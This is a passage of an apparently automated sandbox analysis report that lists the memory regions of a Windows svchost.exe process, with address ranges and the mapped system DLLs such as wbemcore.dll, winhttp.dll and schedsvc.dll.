0x7ff7ea968000 end_va = 0x7ff7ea969fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea968000" filename = "" Region: id = 663 start_va = 0x7ff7ea96a000 end_va = 0x7ff7ea96bfff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea96a000" filename = "" Region: id = 664 start_va = 0x7ff7ea96c000 end_va = 0x7ff7ea96dfff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea96c000" filename = "" Region: id = 665 start_va = 0x7ff7ea96e000 end_va = 0x7ff7ea96ffff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea96e000" filename = "" Region: id = 666 start_va = 0x7ff7ea970000 end_va = 0x7ff7ea971fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea970000" filename = "" Region: id = 667 start_va = 0x7ff7ea972000 end_va = 0x7ff7ea973fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea972000" filename = "" Region: id = 668 start_va = 0x7ff7ea974000 end_va = 0x7ff7ea975fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea974000" filename = "" Region: id = 669 start_va = 0x7ff7ea976000 end_va = 0x7ff7ea977fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea976000" filename = "" Region: id = 670 start_va = 0x7ff7ea978000 end_va = 0x7ff7ea979fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea978000" filename = "" Region: id = 671 start_va = 0x7ff7ea97a000 end_va = 0x7ff7ea97bfff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea97a000" filename = "" Region: id = 672 start_va = 0x7ff7ea97c000 end_va = 0x7ff7ea97dfff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea97c000" filename = "" Region: id = 673 start_va = 0x7ff7ea97e000 end_va = 0x7ff7ea97ffff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea97e000" filename = "" Region: id = 674 start_va = 0x7ff7ea980000 end_va = 0x7ff7ea981fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea980000" filename = "" Region: id = 675 start_va = 0x7ff7ea982000 end_va = 0x7ff7ea983fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea982000" filename = "" Region: id = 676 start_va = 0x7ff7ea984000 end_va = 0x7ff7ea985fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea984000" filename = "" Region: id = 677 start_va = 0x7ff7ea986000 end_va = 0x7ff7ea987fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea986000" filename = "" Region: id = 678 start_va = 0x7ff7ea988000 end_va = 0x7ff7ea989fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea988000" filename = "" Region: id = 679 start_va = 0x7ff7ea98a000 end_va = 0x7ff7ea98bfff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea98a000" filename = "" Region: id = 680 start_va = 0x7ff7ea98c000 end_va = 0x7ff7ea98dfff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea98c000" filename = "" Region: id = 681 start_va = 0x7ff7ea98e000 end_va = 0x7ff7ea98ffff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea98e000" filename = "" Region: id = 682 start_va = 0x7ff7ea990000 end_va = 0x7ff7ea991fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea990000" filename = "" Region: id = 683 start_va = 0x7ff7ea992000 end_va = 0x7ff7ea993fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea992000" filename = "" Region: id = 684 start_va = 0x7ff7ea994000 end_va = 0x7ff7ea995fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea994000" filename = "" Region: id = 685 start_va = 0x7ff7ea996000 end_va = 0x7ff7ea997fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea996000" filename = "" Region: id = 686 start_va = 0x7ff7ea998000 end_va = 0x7ff7ea999fff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea998000" filename = "" Region: id = 687 start_va = 0x7ff7ea99a000 end_va = 0x7ff7ea99bfff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea99a000" filename = "" Region: id = 688 start_va = 0x7ff7ea99c000 end_va = 0x7ff7ea99dfff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea99c000" filename = "" Region: id = 689 start_va = 0x7ff7ea99e000 end_va = 0x7ff7ea99ffff entry_point = 0x0 region_type = private name = "private_0x00007ff7ea99e000" filename = "" Region: id = 690 start_va = 0x7ff7ea9a0000 end_va = 0x7ff7eaa9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7ea9a0000" filename = "" Region: id = 691 start_va = 0x7ff7eaaa0000 end_va = 0x7ff7eaac2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7eaaa0000" filename = "" Region: id = 692 start_va = 0x7ff7eaac3000 end_va = 0x7ff7eaac4fff entry_point = 0x0 region_type = private name = "private_0x00007ff7eaac3000" filename = "" Region: id = 693 start_va = 0x7ff7eaac5000 end_va = 0x7ff7eaac6fff entry_point = 0x0 region_type = private name = "private_0x00007ff7eaac5000" filename = "" Region: id = 694 start_va = 0x7ff7eaac7000 end_va = 0x7ff7eaac8fff entry_point = 0x0 region_type = private name = "private_0x00007ff7eaac7000" filename = "" Region: id = 695 start_va = 0x7ff7eaac9000 end_va = 0x7ff7eaacafff entry_point = 0x0 region_type = private name = "private_0x00007ff7eaac9000" filename = "" Region: id = 696 start_va = 0x7ff7eaacb000 end_va = 0x7ff7eaaccfff entry_point = 0x0 region_type = private name = "private_0x00007ff7eaacb000" filename = "" Region: id = 697 start_va = 0x7ff7eaacd000 end_va = 0x7ff7eaacefff entry_point = 0x0 region_type = private name = "private_0x00007ff7eaacd000" filename = "" Region: id = 698 start_va = 0x7ff7eaacf000 end_va = 0x7ff7eaacffff entry_point = 0x0 region_type = private name = "private_0x00007ff7eaacf000" filename = "" Region: id = 699 start_va = 0x7ff7eb6b0000 end_va = 0x7ff7eb6bbfff entry_point = 0x7ff7eb6b0000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 700 start_va = 0x7ffe1ca70000 end_va = 0x7ffe1ca8afff entry_point = 0x7ffe1ca70000 region_type = mapped_file name = "ncryptsslp.dll" filename = "\\Windows\\System32\\ncryptsslp.dll" (normalized: "c:\\windows\\system32\\ncryptsslp.dll") Region: id = 701 start_va = 0x7ffe1ca90000 end_va = 0x7ffe1cac2fff entry_point = 0x7ffe1ca90000 region_type = mapped_file name = "dssenh.dll" filename = "\\Windows\\System32\\dssenh.dll" (normalized: "c:\\windows\\system32\\dssenh.dll") Region: id = 702 start_va = 0x7ffe1cad0000 end_va = 0x7ffe1cae1fff entry_point = 0x7ffe1cad0000 region_type = mapped_file name = "wups.dll" filename = "\\Windows\\System32\\wups.dll" (normalized: "c:\\windows\\system32\\wups.dll") Region: id = 703 start_va = 0x7ffe1caf0000 end_va = 0x7ffe1ce51fff entry_point = 0x7ffe1caf0000 region_type = mapped_file name = "wuaueng.dll" filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll") Region: id = 704 start_va = 0x7ffe1ce60000 end_va = 0x7ffe1ce85fff entry_point = 0x7ffe1ce60000 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 705 start_va = 0x7ffe1dec0000 end_va = 0x7ffe1e102fff entry_point = 0x7ffe1dec0000 region_type = mapped_file name = "msxml6.dll" filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll") Region: id = 706 start_va = 0x7ffe20790000 end_va = 0x7ffe2079cfff entry_point = 0x7ffe20790000 region_type = mapped_file name = "wcmapi.dll" filename = "\\Windows\\System32\\wcmapi.dll" (normalized: "c:\\windows\\system32\\wcmapi.dll") Region: id = 707 start_va = 0x7ffe20810000 end_va = 0x7ffe20844fff entry_point = 0x7ffe20810000 region_type = mapped_file name = "aelupsvc.dll" filename = "\\Windows\\System32\\aelupsvc.dll" (normalized: "c:\\windows\\system32\\aelupsvc.dll") Region: id = 708 start_va = 0x7ffe20c10000 end_va = 0x7ffe20c89fff entry_point = 0x7ffe20c10000 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 709 start_va = 0x7ffe20c90000 end_va = 0x7ffe20ca4fff entry_point = 0x7ffe20c90000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 710 start_va = 0x7ffe20cb0000 end_va = 0x7ffe20d76fff entry_point = 0x7ffe20cb0000 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 711 start_va = 0x7ffe20d80000 end_va = 0x7ffe20de2fff entry_point = 0x7ffe20d80000 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 712 start_va = 0x7ffe20df0000 end_va = 0x7ffe20e13fff entry_point = 0x7ffe20df0000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 713 start_va = 0x7ffe20e20000 end_va = 0x7ffe20e33fff entry_point = 0x7ffe20e20000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 714 start_va = 0x7ffe20e40000 end_va = 0x7ffe20f23fff entry_point = 0x7ffe20e40000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 715 start_va = 0x7ffe20f30000 end_va = 0x7ffe20f9cfff entry_point = 0x7ffe20f30000 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 716 start_va = 0x7ffe20fa0000 end_va = 0x7ffe210ccfff entry_point = 0x7ffe20fa0000 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 717 start_va = 0x7ffe210d0000 end_va = 0x7ffe210defff entry_point = 0x7ffe210d0000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 718 start_va = 0x7ffe210e0000 end_va = 0x7ffe2115efff entry_point = 0x7ffe210e0000 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 719 start_va = 0x7ffe21180000 end_va = 0x7ffe2118ffff entry_point = 0x7ffe21180000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 720 start_va = 0x7ffe21190000 end_va = 0x7ffe211d1fff entry_point = 0x7ffe21190000 region_type = mapped_file name = "adsldp.dll" filename = "\\Windows\\System32\\adsldp.dll" (normalized: "c:\\windows\\system32\\adsldp.dll") Region: id = 721 start_va = 0x7ffe211e0000 end_va = 0x7ffe2121ffff entry_point = 0x7ffe211e0000 region_type = mapped_file name = "adsldpc.dll" filename = "\\Windows\\System32\\adsldpc.dll" (normalized: "c:\\windows\\system32\\adsldpc.dll") Region: id = 722 start_va = 0x7ffe21220000 end_va = 0x7ffe21261fff entry_point = 0x7ffe21220000 region_type = mapped_file name = "activeds.dll" filename = "\\Windows\\System32\\activeds.dll" (normalized: "c:\\windows\\system32\\activeds.dll") Region: id = 723 start_va = 0x7ffe21360000 end_va = 0x7ffe213a1fff entry_point = 0x7ffe21360000 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 724 start_va = 0x7ffe213b0000 end_va = 0x7ffe213c3fff entry_point = 0x7ffe213b0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 725 start_va = 0x7ffe21400000 end_va = 0x7ffe21418fff entry_point = 0x7ffe21400000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 726 start_va = 0x7ffe21420000 end_va = 0x7ffe2142bfff entry_point = 0x7ffe21420000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 727 start_va = 0x7ffe21430000 end_va = 0x7ffe2143dfff entry_point = 0x7ffe21430000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 728 start_va = 0x7ffe214b0000 end_va = 0x7ffe21532fff entry_point = 0x7ffe214b0000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 729 start_va = 0x7ffe218b0000 end_va = 0x7ffe218bafff entry_point = 0x7ffe218b0000 region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 730 start_va = 0x7ffe218c0000 end_va = 0x7ffe21907fff entry_point = 0x7ffe218c0000 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 731 start_va = 0x7ffe21910000 end_va = 0x7ffe21918fff entry_point = 0x7ffe21910000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 732 start_va = 0x7ffe21920000 end_va = 0x7ffe2198afff entry_point = 0x7ffe21920000 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 733 start_va = 0x7ffe21990000 end_va = 0x7ffe219a5fff entry_point = 0x7ffe21990000 region_type = mapped_file name = "adhsvc.dll" filename = "\\Windows\\System32\\adhsvc.dll" (normalized: "c:\\windows\\system32\\adhsvc.dll") Region: id = 734 start_va = 0x7ffe219b0000 end_va = 0x7ffe219f8fff entry_point = 0x7ffe219b0000 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 735 start_va = 0x7ffe21a00000 end_va = 0x7ffe21a1ffff entry_point = 0x7ffe21a00000 region_type = mapped_file name = "httpprxm.dll" filename = "\\Windows\\System32\\httpprxm.dll" (normalized: "c:\\windows\\system32\\httpprxm.dll") Region: id = 736 start_va = 0x7ffe21a20000 end_va = 0x7ffe21a4bfff entry_point = 0x7ffe21a20000 region_type = mapped_file name = "wmidcom.dll" filename = "\\Windows\\System32\\wmidcom.dll" (normalized: "c:\\windows\\system32\\wmidcom.dll") Region: id = 737 start_va = 0x7ffe21a50000 end_va = 0x7ffe21aaafff entry_point = 0x7ffe21a50000 region_type = mapped_file name = "miutils.dll" filename = "\\Windows\\System32\\miutils.dll" (normalized: "c:\\windows\\system32\\miutils.dll") Region: id = 738 start_va = 0x7ffe21ab0000 end_va = 0x7ffe21acffff entry_point = 0x7ffe21ab0000 region_type = mapped_file name = "mi.dll" filename = "\\Windows\\System32\\mi.dll" (normalized: "c:\\windows\\system32\\mi.dll") Region: id = 739 start_va = 0x7ffe21ad0000 end_va = 0x7ffe21ad7fff entry_point = 0x7ffe21ad0000 region_type = mapped_file name = "sscoreext.dll" filename = "\\Windows\\System32\\sscoreext.dll" (normalized: "c:\\windows\\system32\\sscoreext.dll") Region: id = 740 start_va = 0x7ffe21ae0000 end_va = 0x7ffe21aedfff entry_point = 0x7ffe21ae0000 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 741 start_va = 0x7ffe21af0000 end_va = 0x7ffe21bd2fff entry_point = 0x7ffe21af0000 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 742 start_va = 0x7ffe21be0000 end_va = 0x7ffe21c31fff entry_point = 0x7ffe21be0000 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 743 start_va = 0x7ffe21e00000 end_va = 0x7ffe21e7efff entry_point = 0x7ffe21e00000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 744 start_va = 0x7ffe21e80000 end_va = 0x7ffe21e89fff entry_point = 0x7ffe21e810c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 745 start_va = 0x7ffe21e90000 end_va = 0x7ffe21ec9fff entry_point = 0x7ffe21e90000 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 746 start_va = 0x7ffe21f00000 end_va = 0x7ffe21f12fff entry_point = 0x7ffe21f00000 region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 747 start_va = 0x7ffe21f20000 end_va = 0x7ffe21f35fff entry_point = 0x7ffe21f20000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 748 start_va = 0x7ffe21f40000 end_va = 0x7ffe220bffff entry_point = 0x7ffe21f40000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 749 start_va = 0x7ffe22140000 end_va = 0x7ffe22204fff entry_point = 0x7ffe22140000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 750 start_va = 0x7ffe225d0000 end_va = 0x7ffe22649fff entry_point = 0x7ffe225d0000 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll") Region: id = 751 start_va = 0x7ffe22650000 end_va = 0x7ffe2268cfff entry_point = 0x7ffe22650000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 752 start_va = 0x7ffe22690000 end_va = 0x7ffe22940fff entry_point = 0x7ffe22690000 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 753 start_va = 0x7ffe22c70000 end_va = 0x7ffe22ceafff entry_point = 0x7ffe22c70000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 754 start_va = 0x7ffe22fd0000 end_va = 0x7ffe22fdafff entry_point = 0x7ffe22fd0000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 755 start_va = 0x7ffe23790000 end_va = 0x7ffe23a3efff entry_point = 0x7ffe23790000 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 756 start_va = 0x7ffe24a40000 end_va = 0x7ffe24abbfff entry_point = 0x7ffe24a40000 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 757 start_va = 0x7ffe24b80000 end_va = 0x7ffe24b8ffff entry_point = 0x7ffe24b80000 region_type = mapped_file name = "mspatcha.dll" filename = "\\Windows\\System32\\mspatcha.dll" (normalized: "c:\\windows\\system32\\mspatcha.dll") Region: id = 758 start_va = 0x7ffe24b90000 end_va = 0x7ffe24baafff entry_point = 0x7ffe24b91050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 759 start_va = 0x7ffe24bb0000 end_va = 0x7ffe24e57fff entry_point = 0x7ffe24bbddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 760 start_va = 0x7ffe24e60000 end_va = 0x7ffe2509ffff entry_point = 0x7ffe24e613f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 761 start_va = 0x7ffe250a0000 end_va = 0x7ffe250abfff entry_point = 0x7ffe250a0000 region_type = mapped_file name = "credentialmigrationhandler.dll" filename = "\\Windows\\System32\\CredentialMigrationHandler.dll" (normalized: "c:\\windows\\system32\\credentialmigrationhandler.dll") Region: id = 762 start_va = 0x7ffe250b0000 end_va = 0x7ffe250b9fff entry_point = 0x7ffe250b0000 region_type = mapped_file name = "csystemeventsbrokerclient.dll" filename = "\\Windows\\System32\\CSystemEventsBrokerClient.dll" (normalized: "c:\\windows\\system32\\csystemeventsbrokerclient.dll") Region: id = 763 start_va = 0x7ffe250c0000 end_va = 0x7ffe250cafff entry_point = 0x7ffe250c12c8 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 764 start_va = 0x7ffe250d0000 end_va = 0x7ffe25104fff entry_point = 0x7ffe250d0000 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 765 start_va = 0x7ffe25110000 end_va = 0x7ffe25239fff entry_point = 0x7ffe25110000 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 766 start_va = 0x7ffe25240000 end_va = 0x7ffe25247fff entry_point = 0x7ffe25240000 region_type = mapped_file name = "proximitycommonpal.dll" filename = "\\Windows\\System32\\ProximityCommonPal.dll" (normalized: "c:\\windows\\system32\\proximitycommonpal.dll") Region: id = 767 start_va = 0x7ffe25250000 end_va = 0x7ffe25279fff entry_point = 0x7ffe25250000 region_type = mapped_file name = "proximitycommon.dll" filename = "\\Windows\\System32\\ProximityCommon.dll" (normalized: "c:\\windows\\system32\\proximitycommon.dll") Region: id = 768 start_va = 0x7ffe25280000 end_va = 0x7ffe2528dfff entry_point = 0x7ffe25280000 region_type = mapped_file name = "proximityservicepal.dll" filename = "\\Windows\\System32\\ProximityServicePal.dll" (normalized: "c:\\windows\\system32\\proximityservicepal.dll") Region: id = 769 start_va = 0x7ffe25290000 end_va = 0x7ffe252dcfff entry_point = 0x7ffe25290000 region_type = mapped_file name = "proximityservice.dll" filename = "\\Windows\\System32\\ProximityService.dll" (normalized: "c:\\windows\\system32\\proximityservice.dll") Region: id = 770 start_va = 0x7ffe252e0000 end_va = 0x7ffe2537cfff entry_point = 0x7ffe252e0000 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 771 start_va = 0x7ffe25380000 end_va = 0x7ffe2543bfff entry_point = 0x7ffe25380000 region_type = mapped_file name = "settingsynccore.dll" filename = "\\Windows\\System32\\SettingSyncCore.dll" (normalized: "c:\\windows\\system32\\settingsynccore.dll") Region: id = 772 start_va = 0x7ffe25440000 end_va = 0x7ffe25458fff entry_point = 0x7ffe25440000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 773 start_va = 0x7ffe25460000 end_va = 0x7ffe25473fff entry_point = 0x7ffe25460000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 774 start_va = 0x7ffe25490000 end_va = 0x7ffe254f6fff entry_point = 0x7ffe25490000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 775 start_va = 0x7ffe25500000 end_va = 0x7ffe2550dfff entry_point = 0x7ffe25500000 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 776 start_va = 0x7ffe25740000 end_va = 0x7ffe25748fff entry_point = 0x7ffe25740000 region_type = mapped_file name = "bitsprx6.dll" filename = "\\Windows\\System32\\bitsprx6.dll" (normalized: "c:\\windows\\system32\\bitsprx6.dll") Region: id = 777 start_va = 0x7ffe25750000 end_va = 0x7ffe257cdfff entry_point = 0x7ffe25750000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 778 start_va = 0x7ffe25a70000 end_va = 0x7ffe25a7afff entry_point = 0x7ffe25a70000 region_type = mapped_file name = "fvecerts.dll" filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll") Region: id = 779 start_va = 0x7ffe25a80000 end_va = 0x7ffe25a99fff entry_point = 0x7ffe25a80000 region_type = mapped_file name = "bcd.dll" filename = "\\Windows\\System32\\bcd.dll" (normalized: "c:\\windows\\system32\\bcd.dll") Region: id = 780 start_va = 0x7ffe25aa0000 end_va = 0x7ffe25b52fff entry_point = 0x7ffe25aa0000 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 781 start_va = 0x7ffe25c20000 end_va = 0x7ffe25c29fff entry_point = 0x7ffe25c210c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 782 start_va = 0x7ffe25c60000 end_va = 0x7ffe25c7efff entry_point = 0x7ffe25c60000 region_type = mapped_file name = "appinfo.dll" filename = "\\Windows\\System32\\appinfo.dll" (normalized: "c:\\windows\\system32\\appinfo.dll") Region: id = 783 start_va = 0x7ffe25ca0000 end_va = 0x7ffe25caafff entry_point = 0x7ffe25ca0000 region_type = mapped_file name = "wssls.dll" filename = "\\Windows\\WinStore\\WSSls.dll" (normalized: "c:\\windows\\winstore\\wssls.dll") Region: id = 784 start_va = 0x7ffe25cb0000 end_va = 0x7ffe25cecfff entry_point = 0x7ffe25cb0000 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 785 start_va = 0x7ffe25cf0000 end_va = 0x7ffe25d56fff entry_point = 0x7ffe25cf0000 region_type = mapped_file name = "mprapi.dll" filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll") Region: id = 786 start_va = 0x7ffe25f10000 end_va = 0x7ffe25f38fff entry_point = 0x7ffe25f17968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 787 start_va = 0x7ffe25f40000 end_va = 0x7ffe25f56fff entry_point = 0x7ffe25f40000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 788 start_va = 0x7ffe25f70000 end_va = 0x7ffe25f93fff entry_point = 0x7ffe25f70000 region_type = mapped_file name = "idstore.dll" filename = "\\Windows\\System32\\IDStore.dll" (normalized: "c:\\windows\\system32\\idstore.dll") Region: id = 789 start_va = 0x7ffe25fe0000 end_va = 0x7ffe25ffdfff entry_point = 0x7ffe25fe0000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 790 start_va = 0x7ffe26000000 end_va = 0x7ffe2602ffff entry_point = 0x7ffe26000000 region_type = mapped_file name = "shacct.dll" filename = "\\Windows\\System32\\shacct.dll" (normalized: "c:\\windows\\system32\\shacct.dll") Region: id = 791 start_va = 0x7ffe26110000 end_va = 0x7ffe26135fff entry_point = 0x7ffe26110000 region_type = mapped_file name = "mmcss.dll" filename = "\\Windows\\System32\\mmcss.dll" (normalized: "c:\\windows\\system32\\mmcss.dll") Region: id = 792 start_va = 0x7ffe262d0000 end_va = 0x7ffe262e6fff entry_point = 0x7ffe262d0000 region_type = mapped_file name 